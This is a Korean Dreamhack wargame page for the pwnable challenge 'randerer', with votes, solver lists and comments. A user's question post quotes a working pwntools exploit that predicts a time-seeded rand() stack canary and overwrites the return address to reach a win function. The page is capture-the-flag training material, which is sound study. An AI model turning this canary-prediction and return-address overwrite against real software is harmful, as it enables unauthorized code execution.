학습
워게임
CTF
커뮤니티
랭킹
스토어
커리어
Beta
로그인
|
기업 서비스
Home
학습
워게임
CTF
커뮤니티
랭킹
커리어
Beta
기업 서비스로 이동하기 >
LEVEL 2
randerer
pwnable
549
197
2024.09.28. 09:00:00
로그인 하고 문제 풀기
문제 정보
풀이
25
난이도 투표
47
질문
1
최근 풀이자
197
댓글
2
해당 문제는 Dreamhack CTF Season 6 Round #8 (🌱Div2) 에 출제된 문제입니다.
문제 설명
Description
rand() canary!
Translate
난이도 투표
47
문제 풀이를 완료한 후에 피드백을 제출할 수 있습니다.
투표 결과
전체 투표 로그
1 / 10
wiimdy
세계수
LEVEL 1에 투표했습니다.
4일 전
nvkiero
대표 업적 없음
LEVEL 2에 투표했습니다.
20일 전
B1ackCat
시스템 해킹 고인물
LEVEL 1에 투표했습니다.
22일 전
PUPU
시스템 해킹 초심자
LEVEL 1에 투표했습니다.
1개월 전
yrudwls
대표 업적 없음
LEVEL 2에 투표했습니다.
1개월 전
질문
1
문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
[스포 주의] 질문 있습니다.
from ctypes import * from pwn import * p = remote('host3.dreamhack.games', 18719) libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6') libc.srand(libc.time(0)) p.recvuntil(': ') p.recvuntil('\n') payload = b'B'*16 canary = 0 for i in range(8): temp = canary << 8 canary = temp | libc.rand() & 0xff canary = canary.to_bytes(8, byteorder="little") print(p32(0x401291)) payload += canary payload += b'C'*16 + p64(0x401299) p.sendlineafter(': ', payload) p.interactive() payload += b'C'*16 + p64(0x401299)에서 왜 win의 주소인 0x401291에서 +0x8을 더해주는지 궁금합니다. 저걸 더해서 8바이트가 추가되는 건가요 ?
Garden_
답변
1
추천
0
6개월 전
«
‹
1
›
»
LEVEL 2
randerer
pwnable
549
197
2024.09.28. 09:00:00
로그인 하고 문제 풀기
출제자 정보
Dreamhack
대표 업적 없음
Dreamhack official account
First Blood!
keymoon
2024 Invitational CHAMPION
출제된 지
15분
만에 풀이 완료!
최근 풀이자
197
wiimdy
세계수
4일 전
nvkiero
대표 업적 없음
20일 전
B1ackCat
시스템 해킹 고인물
22일 전
haehet
대표 업적 없음
25일 전
PUPU
시스템 해킹 초심자
1개월 전
yrudwls
대표 업적 없음
1개월 전
VYVUVUTRU
대표 업적 없음
1개월 전
KminH
대표 업적 없음
1개월 전
wndmll
대표 업적 없음
2개월 전
evipq
대표 업적 없음
2개월 전
«
‹
1
2
3
4
5
›
»
댓글
2
z3rodae0
시니어
9개월 전
guessable random number
Translate
PinBall
시스템 해킹 전문가
9개월 전
ctypes!!
Translate
«
‹
1
›
»
댓글 2